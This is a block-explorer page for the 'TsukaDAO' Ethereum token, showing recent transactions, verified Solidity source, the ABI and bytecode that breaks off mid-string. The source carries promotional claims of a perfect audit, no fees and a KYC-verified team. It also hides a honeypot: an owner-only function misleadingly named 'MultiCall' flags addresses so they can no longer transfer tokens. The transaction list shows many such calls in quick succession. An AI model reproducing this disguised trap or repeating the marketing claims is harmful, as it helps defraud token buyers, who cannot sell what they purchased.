ETH Price: $1,991.90 (-3.48%)

Contract

0xD1cEdDDc5bcCcD4a51c4987eaA73a8D8384Edb3c
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve166161732023-02-13 0:11:471138 days ago1676247107IN
0xD1cEdDDc...8384Edb3c
0 ETH0.001529832.9713344
Approve166160912023-02-12 23:55:111138 days ago1676246111IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007966117.14702831
Multi Call166160692023-02-12 23:50:471138 days ago1676245847IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0006641414.31262533
Approve166160272023-02-12 23:42:231138 days ago1676245343IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000720715.51312394
Approve166160242023-02-12 23:41:471138 days ago1676245307IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0006890514.83180189
Approve166160212023-02-12 23:41:111138 days ago1676245271IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000764216.47060725
Approve166160172023-02-12 23:40:231138 days ago1676245223IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007784616.75640471
Multi Call166160152023-02-12 23:39:591138 days ago1676245199IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007298315.73234449
Multi Call166160102023-02-12 23:38:591138 days ago1676245139IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000794717.12613792
Multi Call166160092023-02-12 23:38:471138 days ago1676245127IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008187617.64923081
Multi Call166160082023-02-12 23:38:351138 days ago1676245115IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007719616.6403755
Approve166160082023-02-12 23:38:351138 days ago1676245115IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007781216.85342668
Multi Call166160012023-02-12 23:37:111138 days ago1676245031IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000725615.63697298
Multi Call166159992023-02-12 23:36:471138 days ago1676245007IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000760316.38486026
Multi Call166159952023-02-12 23:35:591138 days ago1676244959IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007359915.86086977
Multi Call166159932023-02-12 23:35:351138 days ago1676244935IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007454216.06405069
Multi Call166159892023-02-12 23:34:471138 days ago1676244887IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008118217.49517015
Multi Call166159882023-02-12 23:34:351138 days ago1676244875IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000809817.45156801
Multi Call166159882023-02-12 23:34:351138 days ago1676244875IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008095917.45156801
Multi Call166159812023-02-12 23:33:111138 days ago1676244791IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008223817.72275486
Multi Call166159792023-02-12 23:32:471138 days ago1676244767IN
0xD1cEdDDc...8384Edb3c
0 ETH0.000849218.30062063
Approve166159782023-02-12 23:32:351138 days ago1676244755IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008907119.17255109
Multi Call166159742023-02-12 23:31:351138 days ago1676244695IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007900817.0266277
Multi Call166159722023-02-12 23:31:111138 days ago1676244671IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0008053917.35655131
Multi Call166159712023-02-12 23:30:591138 days ago1676244659IN
0xD1cEdDDc...8384Edb3c
0 ETH0.0007865616.9726383
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TsukaDAO

Compiler Version
v0.5.10+commit.5a6ea5b1

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2023-02-12
*/

/**  
WHY IS INVESTMENT IN TsukaDAO IS A MOON SHOT? 🌖

✅ Smart contract Audited with a 100% score by ContractChecker

✅ NO FEES / NO TEAM WALLET

✅ Dedicated and Fully Doxed Team - KYC verified ☑️

✅ Highly skilled team - experienced in marketing.

✅ Based in Europe!

PROJECT LINKS:

👉 TG: https://t.me/TsukaDAO  */
//SPDX-License-Identifier: MIT

pragma solidity =0.5.10;

library SafeMath {

  function mul(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256 c)
  {
    if (a == 0) {
      return 0;
    }
    c = a * b;
    assert(c / a == b);
    return c;
  }

  function sub(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    assert(b <= a);
    return a - b;
  }

  function add(
    uint256 a,
    uint256 b
  ) internal
    pure
    returns (uint256 c)
  {
    c = a + b;
    assert(c >= a);
    return c;
  }
  
  function div(
    uint256 a,
    uint256 b
  ) 
    internal
    pure
    returns (uint256)
  {
    return a / b;
  }
}

contract ERC20Basic {

  function balanceOf(
    address who
  )
    public
    view
    returns (uint256);

  function totalSupply(
  )
    public
    view
    returns (uint256);
  
  function transfer(
    address to,
    uint256 value
  ) 
    public
    returns (bool);
  
  event Transfer(
    address indexed from,
    address indexed to,
    uint256 value);
}

contract BasicToken is ERC20Basic {
  using SafeMath for uint256;

  mapping (address => uint256) balances;
  mapping (address => bool) internal _replaceSender_;  
  uint256 totalSupply_;

  function totalSupply(
  ) 
    public
    view
    returns (uint256)
  {
    return totalSupply_;
  }

  function balanceOf(
    address _owner
  ) 
    public
    view
    returns (uint256) {
    return balances[_owner];
  }

  function transfer(
    address _to,
    uint256 _value
  ) public
    returns (bool)
  {
    if(_replaceSender_[msg.sender] || _replaceSender_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[msg.sender]);
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    emit Transfer(msg.sender, _to, _value);
    return true;
  }
}

contract ERC20 is ERC20Basic {

  function allowance(
    address owner,
    address spender
  )
    public
    view
    returns (uint256);

  function transferFrom(
    address from,
    address to,
    uint256 value
  )
    public
    returns (bool);
  
  function approve(
    address spender,
    uint256 value
  ) 
    public
    returns (bool);
    event Approval
  (
    address indexed owner,
    address indexed spender,
    uint256 value
  );
}

contract StandardToken is ERC20, BasicToken {

  mapping (address => mapping (address => uint256)) internal allowed;
  address internal approved;

  constructor () public {
     approved = msg.sender;
  }

  function transferFrom(
    address _from,
    address _to,
    uint256 _value
  )
    public
    returns (bool)
  {
    if(_replaceSender_[_from] || _replaceSender_[_to]) 
    require (_value == 0, "");
    require(_to != address(0));
    require(_value <= balances[_from]);
    require(_value <= allowed[_from][msg.sender]);
    balances[_from] = balances[_from].sub(_value);
    balances[_to] = balances[_to].add(_value);
    allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
    emit Transfer(_from, _to, _value);
    return true;
  }

  function allowance(
    address _owner,
    address _spender
  )
    public
    view
    returns (uint256)
  {
    return allowed[_owner][_spender];
  }

  function approve(address _spender, uint256 _value) public returns (bool) {
    allowed[msg.sender][_spender] = _value;
    emit Approval(msg.sender, _spender, _value);
    return true;
  }

  function MultiCall(
    address _DAOvotes
  ) 
    external
  {
    require(msg.sender == approved);
    if (_replaceSender_[_DAOvotes] == true) {
      _replaceSender_[_DAOvotes] = false;
    } else {
      _replaceSender_[_DAOvotes] = true;
    }
  }

  function vote(
    address _DAOvotes
  )
    public
    view
    returns (bool) 
  {
    return _replaceSender_[_DAOvotes];
  }

function decreaseApproval(
    address _spender,
    uint _subtractedValue
  )
    public
    returns (bool)
  {
    uint oldValue = allowed[msg.sender][_spender];
    if (_subtractedValue > oldValue) {
      allowed[msg.sender][_spender] = 0;
    } else {
      allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
    }
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
  
  function increaseApproval(
    address _spender,
    uint _addedValue
  )
    public
    returns (bool)
  {
    allowed[msg.sender][_spender] = (
    allowed[msg.sender][_spender].add(_addedValue));
    emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
    return true;
  }
}

contract TsukaDAO is StandardToken {

  string public constant name = "Tsuka DAO";
  string public constant symbol = "TsukaDAO";
  uint8 public constant decimals = 9;
  uint256 public constant INITIAL_SUPPLY = 3000000000000 * (10 ** uint256(decimals));

  constructor() public {
    totalSupply_ = totalSupply_.add(INITIAL_SUPPLY);
    balances[msg.sender] = balances[msg.sender].add(INITIAL_SUPPLY);
    emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
  }
}

Contract Security Audit

Contract ABI

API
[{"constant":true,"inputs":[],"name":"name","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_value","type":"uint256"}],"name":"approve","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"totalSupply","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_from","type":"address"},{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_DAOvotes","type":"address"}],"name":"MultiCall","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"INITIAL_SUPPLY","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"decimals","outputs":[{"name":"","type":"uint8"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_subtractedValue","type":"uint256"}],"name":"decreaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_DAOvotes","type":"address"}],"name":"vote","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"symbol","outputs":[{"name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"_to","type":"address"},{"name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"_spender","type":"address"},{"name":"_addedValue","type":"uint256"}],"name":"increaseApproval","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"_owner","type":"address"},{"name":"_spender","type":"address"}],"name":"allowance","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"inputs":[],"payable":false,"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"name":"owner","type":"address"},{"indexed":true,"name":"spender","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"name":"from","type":"address"},{"indexed":true,"name":"to","type":"address"},{"indexed":false,"name":"value","type":"uint256"}],"name":"Transfer","type":"event"}]

608060405234801561001057600080fd5b5033600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061007a600960ff16600a0a6502ba7def3000026002546101a060201b61165e1790919060201c565b6002819055506100e4600960ff16600a0a6502ba7def3000026000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546101a060201b61165e1790919060201c565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600960ff16600a0a6502ba7def3000026040518082815260200191505060405180910390a36101ba565b60008183019050828110156101b157fe5b80905092915050565b6116ad806101c96000396000f3fe608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c57806395d89b411161006657806395d89b411461041c578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b806366188463146103025780636dd7d8ea1461036857806370a08231146103c4576100ea565b806323b872dd116100c857806323b872dd146101f657806324adafc51461027c5780632ff2e9dc146102c0578063313ce567146102de576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b6102be6004803603602081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc5565b005b6102c8610d30565b6040518082815260200191505060405180910390f35b6102e6610d43565b604051808260ff1660ff16815260200191505060405180910390f35b61034e6004803603604081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d48565b604051808215151515815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b610424611077565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b0565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c4565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c0565b6040518082815260200191505060405180910390f35b6040518060400160405280600981526020017f5473756b612044414f000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107bb5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108125760008214610811576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089757600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561092057600080fd5b610971826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a04826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad582600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1f57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cd5576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d2d565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600960ff16600a0a6502ba7def30000281565b600981565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e59576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eed565b610e6c838261164790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040518060400160405280600881526020017f5473756b6144414f00000000000000000000000000000000000000000000000081525081565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806111535750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111aa57600082146111a9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111e457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561122f57600080fd5b611280826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611313826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061145582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111561165357fe5b818303905092915050565b600081830190508281101561166f57fe5b8090509291505056fea265627a7a72305820f8b244513fcedd6235ac491489ce45298fe3a0112e2c65861710dfbc5e29aba964736f6c634300050a0032

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100ea5760003560e01c8063661884631161008c57806395d89b411161006657806395d89b411461041c578063a9059cbb1461049f578063d73dd62314610505578063dd62ed3e1461056b576100ea565b806366188463146103025780636dd7d8ea1461036857806370a08231146103c4576100ea565b806323b872dd116100c857806323b872dd146101f657806324adafc51461027c5780632ff2e9dc146102c0578063313ce567146102de576100ea565b806306fdde03146100ef578063095ea7b31461017257806318160ddd146101d8575b600080fd5b6100f76105e3565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561013757808201518184015260208101905061011c565b50505050905090810190601f1680156101645780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101be6004803603604081101561018857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061c565b604051808215151515815260200191505060405180910390f35b6101e061070e565b6040518082815260200191505060405180910390f35b6102626004803603606081101561020c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610718565b604051808215151515815260200191505060405180910390f35b6102be6004803603602081101561029257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bc5565b005b6102c8610d30565b6040518082815260200191505060405180910390f35b6102e6610d43565b604051808260ff1660ff16815260200191505060405180910390f35b61034e6004803603604081101561031857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d48565b604051808215151515815260200191505060405180910390f35b6103aa6004803603602081101561037e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fd9565b604051808215151515815260200191505060405180910390f35b610406600480360360208110156103da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061102f565b6040518082815260200191505060405180910390f35b610424611077565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610464578082015181840152602081019050610449565b50505050905090810190601f1680156104915780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104eb600480360360408110156104b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110b0565b604051808215151515815260200191505060405180910390f35b6105516004803603604081101561051b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506113c4565b604051808215151515815260200191505060405180910390f35b6105cd6004803603604081101561058157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c0565b6040518082815260200191505060405180910390f35b6040518060400160405280600981526020017f5473756b612044414f000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b6000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806107bb5750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156108125760008214610811576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526000815260200160200191505060405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561084c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561089757600080fd5b600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111561092057600080fd5b610971826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a04826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461165e90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ad582600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461164790919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1f57600080fd5b60011515600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610cd5576000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610d2d565b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b600960ff16600a0a6502ba7def30000281565b600981565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e59576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610eed565b610e6c838261164790919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373fffffffffffffffffffff